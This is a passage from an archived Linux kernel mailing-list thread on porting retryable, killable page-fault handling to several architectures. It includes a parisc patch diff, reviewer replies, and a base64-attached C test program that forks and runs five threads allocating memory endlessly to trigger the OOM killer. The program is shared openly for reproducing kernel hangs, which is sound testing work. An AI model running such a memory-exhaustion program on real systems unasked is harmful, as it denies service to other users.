co-worker decided to take the initiative to port these changes to all other
MMU based architectures.

Please review and do write back if there is any way I need to
improve/rewrite any
of these patches.

Signed-off-by: Mohd. Faris <mohdfarisq2010@gmail.com>
Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
---

--0016368e2a82ddd5fa04bbac811c
Content-Type: text/x-csrc; charset=US-ASCII; name="stress_32k.c"
Content-Disposition: attachment; filename="stress_32k.c"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_h00yqhf60

I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5o
PgojaW5jbHVkZSA8cHRocmVhZC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CgojZGVmaW5lIEFMTE9D
X0JZVEUgNTEyKjEwMjQKI2RlZmluZSBDT1VOVCA1MAoKdm9pZCAqYWxsb2NfZnVuY3Rpb25fb25l
KCB2b2lkICpwdHIgKTsKdm9pZCAqYWxsb2NfZnVuY3Rpb25fdHdvKCB2b2lkICpwdHIgKTsKdm9p
ZCAqYWxsb2NfZnVuY3Rpb25fdGhyZWUoIHZvaWQgKnB0ciApOwp2b2lkICphbGxvY19mdW5jdGlv
bl9mb3VyKCB2b2lkICpwdHIgKTsKdm9pZCAqYWxsb2NfZnVuY3Rpb25fZml2ZSggdm9pZCAqcHRy
ICk7CnZvaWQgKmVuYWJsZV9mdW5jdGlvbiggdm9pZCAqcHRyICk7CgoKaW50IG1haW4oaW50IGFy
Z2MsIGNoYXIgKmFyZ3ZbXSkKewoJcHRocmVhZF90IHRocmVhZDEsIHRocmVhZDIsIHRocmVhZDMs
IHRocmVhZDQsIHRocmVhZDU7CgljaGFyICptZXNzYWdlMSA9ICJUaHJlYWQgMSI7CgljaGFyICpt
ZXNzYWdlMiA9ICJUaHJlYWQgMiI7CgljaGFyICptZXNzYWdlMyA9ICJUaHJlYWQgMyI7CgljaGFy
ICptZXNzYWdlNCA9ICJUaHJlYWQgNCI7CgljaGFyICptZXNzYWdlNSA9ICJUaHJlYWQgNSI7Cglp
bnQgaXJldDEgPSAtMTsKCWludCBpcmV0MiA9IC0xOwoJaW50IGlyZXQzID0gLTE7CglpbnQgaXJl
dDQgPSAtMTsKCWludCBpcmV0NSA9IC0xOwoJZm9yaygpOwoJaXJldDEgPSBwdGhyZWFkX2NyZWF0
ZSggJnRocmVhZDEsIE5VTEwsIGFsbG9jX2Z1bmN0aW9uX29uZSwgKHZvaWQqKSBtZXNzYWdlMSk7
CglpcmV0MiA9IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkMiwgTlVMTCwgYWxsb2NfZnVuY3Rpb25f
dHdvLCAodm9pZCopIG1lc3NhZ2UyKTsKCWlyZXQyID0gcHRocmVhZF9jcmVhdGUoICZ0aHJlYWQz
LCBOVUxMLCBhbGxvY19mdW5jdGlvbl90aHJlZSwgKHZvaWQqKSBtZXNzYWdlMik7CglpcmV0MiA9
IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkNCwgTlVMTCwgYWxsb2NfZnVuY3Rpb25fZm91ciwgKHZv
aWQqKSBtZXNzYWdlMik7CglpcmV0MiA9IHB0aHJlYWRfY3JlYXRlKCAmdGhyZWFkNSwgTlVMTCwg
YWxsb2NfZnVuY3Rpb25fZml2ZSwgKHZvaWQqKSBtZXNzYWdlMik7CgoJcHRocmVhZF9qb2luKCB0
aHJlYWQxLCBOVUxMKTsKCXB0aHJlYWRfam9pbiggdGhyZWFkMiwgTlVMTCk7CglwdGhyZWFkX2pv
aW4oIHRocmVhZDMsIE5VTEwpOwoJcHRocmVhZF9qb2luKCB0aHJlYWQ0LCBOVUxMKTsKCXB0aHJl
YWRfam9pbiggdGhyZWFkNSwgTlVMTCk7CgoJcHJpbnRmKCJUaHJlYWQgMSByZXR1cm5zOiAlZFxu
IixpcmV0MSk7CglwcmludGYoIlRocmVhZCAyIHJldHVybnM6ICVkXG4iLGlyZXQyKTsKCXByaW50
ZigiVGhyZWFkIDMgcmV0dXJuczogJWRcbiIsaXJldDMpOwoJcHJpbnRmKCJUaHJlYWQgNCByZXR1
cm5zOiAlZFxuIixpcmV0NCk7CglwcmludGYoIlRocmVhZCA1IHJldHVybnM6ICVkXG4iLGlyZXQ1
KTsKCWV4aXQoMCk7Cn0KCnZvaWQgKmFsbG9jX2Z1bmN0aW9uX3R3byggdm9pZCAqcHRyICkKewoJ
Y2hhciAqbWVzc2FnZTsKCW1lc3NhZ2UgPSAoY2hhciAqKSBwdHI7Cgl2b2lkICpteWJsb2NrW0NP
VU5UXTsKCWludCBpPSAwLGo9MDsKCWludCBmcmVlZD0wOwoJcHJpbnRmKCJtZXNzYWdlX2FsbG9j
ICBcbiIpOwoJd2hpbGUoMSkKCXsKCQltZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2NrKSk7
CgkJcHJpbnRmKCJtZXNzYWdlX2FsbG9jICVzIFxuIixtZXNzYWdlKTsKCQlmb3IoaT0wO2k8IENP
VU5UIDtpKyspCgkJewoJCQlteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUp
OwoJCQltZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKCQl9Cgl9Cn0KCgp2b2lkICph
bGxvY19mdW5jdGlvbl9vbmUoIHZvaWQgKnB0ciApCnsKCWNoYXIgKm1lc3NhZ2U7CgltZXNzYWdl
ID0gKGNoYXIgKikgcHRyOwoJdm9pZCAqbXlibG9ja1tDT1VOVF07CglpbnQgaT0gMCxqPTA7Cglp
bnQgZnJlZWQ9MDsKCXByaW50ZigibWVzc2FnZV9hbGxvYyAgXG4iKTsKCXdoaWxlKDEpCgl7CgkJ
bWVtc2V0KG15YmxvY2ssMCxzaXplb2YobXlibG9jaykpOwoJCXByaW50ZigibWVzc2FnZV9hbGxv
YyAlcyBcbiIsbWVzc2FnZSk7CgkJZm9yKGk9MDtpPCBDT1VOVCA7aSsrKQoJCXsKCQkJbXlibG9j
a1tpXSA9ICh2b2lkICopIG1hbGxvYyhBTExPQ19CWVRFKTsKCQkJbWVtc2V0KG15YmxvY2tbaV0s
MSwgQUxMT0NfQllURSk7CgkJfQoJfQp9Cgp2b2lkICphbGxvY19mdW5jdGlvbl90aHJlZSggdm9p
ZCAqcHRyICkKewogICAgICAgY2hhciAqbWVzc2FnZTsKICAgICAgICBtZXNzYWdlID0gKGNoYXIg
KikgcHRyOwogICAgICAgIHZvaWQgKm15YmxvY2tbQ09VTlRdOwogICAgICAgIGludCBpPSAwLGo9
MDsKICAgICAgICBpbnQgZnJlZWQ9MDsKICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgIFxu
Iik7CiAgICAgICAgd2hpbGUoMSkKICAgICAgICB7CiAgICAgICAgICAgICAgICBtZW1zZXQobXli
bG9jaywwLHNpemVvZihteWJsb2NrKSk7CiAgICAgICAgICAgICAgICBwcmludGYoIm1lc3NhZ2Vf
YWxsb2MgJXMgXG4iLG1lc3NhZ2UpOwogICAgICAgICAgICAgICAgZm9yKGk9MDtpPCBDT1VOVCA7
aSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBteWJsb2NrW2ld
ID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUpOwogICAgICAgICAgICAgICAgICAgICAgICBt
ZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKICAgICAgICAgICAgICAgIH0KICAgICAg
ICB9Cn0Kdm9pZCAqYWxsb2NfZnVuY3Rpb25fZm91ciggdm9pZCAqcHRyICkKewogICAgICAgY2hh
ciAqbWVzc2FnZTsKICAgICAgICBtZXNzYWdlID0gKGNoYXIgKikgcHRyOwogICAgICAgIHZvaWQg
Km15YmxvY2tbQ09VTlRdOwogICAgICAgIGludCBpPSAwLGo9MDsKICAgICAgICBpbnQgZnJlZWQ9
MDsKICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgIFxuIik7CiAgICAgICAgd2hpbGUoMSkK
ICAgICAgICB7CiAgICAgICAgICAgICAgICBtZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2Nr
KSk7CiAgICAgICAgICAgICAgICBwcmludGYoIm1lc3NhZ2VfYWxsb2MgJXMgXG4iLG1lc3NhZ2Up
OwogICAgICAgICAgICAgICAgZm9yKGk9MDtpPCBDT1VOVCA7aSsrKQogICAgICAgICAgICAgICAg
ewogICAgICAgICAgICAgICAgICAgICAgICBteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFM
TE9DX0JZVEUpOwogICAgICAgICAgICAgICAgICAgICAgICBtZW1zZXQobXlibG9ja1tpXSwxLCBB
TExPQ19CWVRFKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9Cn0Kdm9pZCAqYWxsb2NfZnVu
Y3Rpb25fZml2ZSggdm9pZCAqcHRyICkKewogICAgICAgY2hhciAqbWVzc2FnZTsKICAgICAgICBt
ZXNzYWdlID0gKGNoYXIgKikgcHRyOwogICAgICAgIHZvaWQgKm15YmxvY2tbQ09VTlRdOwogICAg
ICAgIGludCBpPSAwLGo9MDsKICAgICAgICBpbnQgZnJlZWQ9MDsKICAgICAgICBwcmludGYoIm1l
c3NhZ2VfYWxsb2MgIFxuIik7CiAgICAgICAgd2hpbGUoMSkKICAgICAgICB7CiAgICAgICAgICAg
ICAgICBtZW1zZXQobXlibG9jaywwLHNpemVvZihteWJsb2NrKSk7CiAgICAgICAgICAgICAgICBw
cmludGYoIm1lc3NhZ2VfYWxsb2MgJXMgXG4iLG1lc3NhZ2UpOwogICAgICAgICAgICAgICAgZm9y
KGk9MDtpPCBDT1VOVCA7aSsrKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAg
ICAgICBteWJsb2NrW2ldID0gKHZvaWQgKikgbWFsbG9jKEFMTE9DX0JZVEUpOwogICAgICAgICAg
ICAgICAgICAgICAgICBtZW1zZXQobXlibG9ja1tpXSwxLCBBTExPQ19CWVRFKTsKICAgICAgICAg
ICAgICAgIH0KICAgICAgICB9Cn0K
--0016368e2a82ddd5fa04bbac811c--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 18/20] parisc/mm/fault.c: Port OOM changes to do_page_fault
Date: Tue, 20 Mar 2012 09:26:53 -0400
Lines: 85
Approved: news@gmane.org
Message-ID: <1332250013-3246-1-git-send-email-consul.kautuk@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1332250040 10194 80.91.229.3 (20 Mar 2012 13:27:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2012 13:27:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Kautuk Consul <consul.kautuk@gmail.com>
To: <jejb@parisc-linux.org>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 20 14:27:19 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S9z5n-0001qN-Lg
	for glpp-linux-parisc@plane.gmane.org; Tue, 20 Mar 2012 14:27:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759073Ab2CTN1O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 20 Mar 2012 09:27:14 -0400
Original-Received: from mail-pz0-f46.google.com ([209.85.210.46]:43367 "EHLO
	mail-pz0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754049Ab2CTN1N (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 20 Mar 2012 09:27:13 -0400
Original-Received: by dajr28 with SMTP id r28so29616daj.19
        for <multiple recipients>; Tue, 20 Mar 2012 06:27:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer;
        bh=2sdAu89ffZZpjjkvJSkAahcoH+CpErkZ6C6ntusUknQ=;
        b=J373srlCkvPL3gUiDTsijGrNlzhpZM26xTeuJ33qSwlcFZvoNjfANfQfPMSl0poqvG
         P43jeybmlCke1e1hA9V+LqEYkl77BofckZJtinOjyl0G/JtTIpnMoh05fDO2fSwkMHy0
         JxKhLlAtepdn6//FnSX4zEu1uOGgIqFOgXd7cWgRdQOovAVt2Bqz2qjQ0eRcAHxYYypQ
         nF7srfHJpy69VAgZ/ZRi9kACRId826R8lGl2TknHp+WLfRvf34N4GZUdFTWjNZMIe2bA
         2slnArGCLV6Lzo15mA9dAy8nrV60dWKt1Y3pt412BtJPlhW7B2CeU0PK/Muol7WgpEZW
         Wt6w==
Original-Received: by 10.68.226.225 with SMTP id rv1mr1304790pbc.44.1332250033170;
        Tue, 20 Mar 2012 06:27:13 -0700 (PDT)
Original-Received: from localhost.localdomain ([122.176.229.161])
        by mx.google.com with ESMTPS id m7sm1318589pba.30.2012.03.20.06.27.10
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 20 Mar 2012 06:27:12 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4232 gmane.linux.kernel:1270246
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4232>

Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
(mm: retry page fault when blocking on disk transfer) and
commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
(x86,mm: make pagefault killable)

The above commits introduced changes into the x86 pagefault handler
for making the page fault handler retryable as well as killable.

These changes reduce the mmap_sem hold time, which is crucial
during OOM killer invocation.

Port these changes to parisc.

Signed-off-by: Kautuk Consul <consul.kautuk@gmail.com>
---
 arch/parisc/mm/fault.c |   30 +++++++++++++++++++++++++-----
 1 files changed, 25 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..f247a34 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+			flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,23 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/*
+			 * No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: richard -rw- weinberger <richard.weinberger@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH 0/20] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Tue, 20 Mar 2012 14:30:49 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <CAFLxGvwW2XcYSoidZZ0XF_a-pH3SwONqS+hCnpGUecQ__DLa_g@mail.gmail.com>
References: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1332250260 12034 80.91.229.3 (20 Mar 2012 13:31:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2012 13:31:00 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux@lists.openrisc.net, linux-am33-list@redhat.com,
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org,
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com,
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-mm@kvack.org,
	linux-kernel@vger.kernel.org
To: Kautuk Consul <consul.kautuk@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Mar 20 14:30:53 2012
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1S9z9I-000355-VC
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 20 Mar 2012 14:30:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759463Ab2CTNaw (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 20 Mar 2012 09:30:52 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:46689 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756702Ab2CTNau (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 20 Mar 2012 09:30:50 -0400
Original-Received: by ghrr11 with SMTP id r11so34985ghr.19
        for <multiple recipients>; Tue, 20 Mar 2012 06:30:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=J7fcuDjZVrcDQdx4DP+Z6d4xJi3bJiuzvuUvio0D4j4=;
        b=HloaaXFkFYwvksBKW9dNDXvU9T1gRZL1zaDrUzD7dBcP0b6r38y9mjj01EsKYbXo40
         KXPKvbyIDJzzywSVGdyG/yXVltFcNMxBQP/BosamRzFaDAk4ILlZHkhwhdUwdEL6ZJ3G
         JpCthkf4+0AAdG27Q95UYD3dCnOoe42t+Z8LxFYDC9eSc8NasT85F+K9KNW/F95bIgqO
         nUU1zxdo7O36XIZ+nFcMwr6BaKsY1XknacxtEmqb/nzqCQLCGl9lCjH8j58BuGjdbWi2
         vfxTuMy2H89ghnXkvevsGDEOZOO1ASz3Qqs5toCGdwZdt5WYybGXlAvVxdxJOnBt6rGb
         xiIA==
Original-Received: by 10.60.0.226 with SMTP id 2mr2351549oeh.18.1332250249746; Tue, 20
 Mar 2012 06:30:49 -0700 (PDT)
Original-Received: by 10.60.25.101 with HTTP; Tue, 20 Mar 2012 06:30:49 -0700 (PDT)
In-Reply-To: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22119 gmane.linux.ports.alpha:1723 gmane.linux.ports.ppc64.devel:81088 gmane.linux.ports.openrisc:84 gmane.linux.uclinux.microblaze:11794 gmane.linux.ports.hexagon:388 gmane.linux.ports.sh.devel:14041 gmane.linux.ports.parisc:4233 gmane.linux.ports.sparc:15905 gmane.linux.kernel.mm:75623 gmane.linux.kernel:1270250
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22119>

On Tue, Mar 20, 2012 at 2:18 PM, Kautuk Consul <consul.kautuk@gmail.com> wrote:
> Commit d065bd810b6deb67d4897a14bfe21f8eb526ba99
> (mm: retry page fault when blocking on disk transfer) and
> commit 37b23e0525d393d48a7d59f870b3bc061a30ccdb
> (x86,mm: make pagefault killable)
>
> The above commits introduced changes into the x86 pagefault handler
> for making the page fault handler retryable as well as killable.
>
> These changes reduce the mmap_sem hold time, which is crucial
> during OOM killer invocation.
>
> I was facing hang and livelock problems on my ARM and MIPS boards when
> I invoked OOM by running the stress_32k.c test-case attached to this email.
>
> Since both the ARM and MIPS porting chainges were accepted, me and my
> co-worker decided to take the initiative to port these changes to all other
> MMU based architectures.
>
> Please review and do write back if there is any way I need to
> improve/rewrite any
> of these patches.
>

What about arch/um/?
Does UML not need this change?

-- 
Thanks,
//richard
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kautuk Consul <consul.kautuk@gmail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.ports.openrisc,gmane.linux.uclinux.microblaze,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH 0/20] mmu: arch/mm: Port OOM changes to arch page fault handlers.
Date: Tue, 20 Mar 2012 09:34:41 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <CAFPAmTSzV9mrkbP68p4PA-0i0o2Hz7JiBY=0A0V_myJEzWubjQ@mail.gmail.com>
References: <CAFPAmTQs9dOpQTaXU=6Or66YU+my_CnPw33TE4h++YArBNa38g@mail.gmail.com>
	<CAFLxGvwW2XcYSoidZZ0XF_a-pH3SwONqS+hCnpGUecQ__DLa_g@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1332250490 13760 80.91.229.3 (20 Mar 2012 13:34:50 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 20 Mar 2012 13:34:50 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, 
	linux@lists.openrisc.net, linux-am33-list@redhat.com, 
	microblaze-uclinux@itee.uq.edu.au, linux-m68k@lists.linux-m68k.org, 
	linux-m32r-ja@ml.linux-m32r.org, linux-ia64@vger.kernel.org, 
	linux-hexagon@vger.kernel.org, linux-cris-kernel@axis.com, 
	linux-sh@vger.kernel.org, linux-parisc@vger.kernel.org, 
	sparclinux@vger.kernel.org, linux-mm@kvack.org, linux-kernel@vger.kernel.org
To: richard -rw- weinberger <richard.weinberger@gmail.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 20 14:34:44 2012
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1S9zD1-0005LJ-QW
	for glkm-linux-mm-2@m.gmane.org; Tue, 20 Mar 2012 14:34:44 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D44C36B004A; Tue, 20 Mar 2012 09:34:42 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D07356B004D; Tue, 20 Mar 2012 09:34:42 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B27A06B0092; Tue, 20 Mar 2012 09:34:42 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx153.postini.com [74.125.245.153])
	by kanga.kvack.org (Postfix) with SMTP id 532C36B004A
	for <linux-mm@kvack.org>; Tue, 20 Mar 2012 09:34:42 -0400 (EDT)
Original-Received: from mail-gx0-f169.google.com ([209.85.161.169]) (using TLSv1) by na3sys010amx153.postini.com ([74.125.244.10]) with SMTP;
	Tue, 20 Mar 2012 13:34:42 GMT
Original-Received: by ggeq1 with SMTP id q1so46910gge.14
        for <linux-mm@kvack.org>; Tue, 20 Mar 2012 06:34:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=b0qNdX0yYfnSlRMkhERgTvE1hY1wGavI9my0tByerlI=;
        b=pXs8KAqpnr2F2QW2NUoH0Oez+UGVR2o4L/Bo8Jb3jXJEP3Z6gSbsSRByUnd9tFeCU5
         HcqldeIxaly6OaBpTl5UImLs9K9gBu2gXz875hlnikr1ImJpUBoAFiFidUKnbOOkTfoy
         ahNBS1lsM/Pgv1cBvTizYeEF87nPBRYbFjOT23TE7iFqAxDr1wqpuKgYIvrITIiCnV+h
         4Jn4dvA3A1jCWaacHqZsiRKV6NBPTNhLhsYf7j2Jia++o/MisREyMo+1LXos6A5DDgNg
         ea0mXMgtkM0RLSGjHwBHjyGIihFgULrXoVvh1SNFbW+FeAzVG9prTWiY351SU9yiSHgJ
         NHug==
Original-Received: by 10.236.181.193 with SMTP id l41mr16293114yhm.38.1332250481497;
 Tue, 20 Mar 2012 06:34:41 -0700 (PDT)
Original-Received: by 10.146.167.12 with HTTP; Tue, 20 Mar 2012 06:34:41 -0700 (PDT)
In-Reply-To: <CAFLxGvwW2XcYSoidZZ0XF_a-pH3SwONqS+hCnpGUecQ__DLa_g@mail.gmail.com>
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.1000) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <consul.kautuk@gmail.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:75624 gmane.linux.ports.alpha:1724 gmane.linux.ports.ppc64.devel:81089 gmane.linux.ports.openrisc:85 gmane.linux.uclinux.microblaze:11795 gmane.linux.ports.ia64:22120 gmane.linux.ports.hexagon:389 gmane.linux.ports.sh.devel:14042 gmane.linux.ports.parisc:4234 gmane.linux.ports.sparc:15906 gmane.linux.kernel:1270253
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/75624>

>
> What about arch/um/?
> Does UML not need this change?

Oh yes, extremely sorry I accidentally missed that one out.
Mind if I send it separately ?

>
> --
> Thanks,
> //richard

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: richard -rw- weinberger <richard.weinberger@gmail.com>
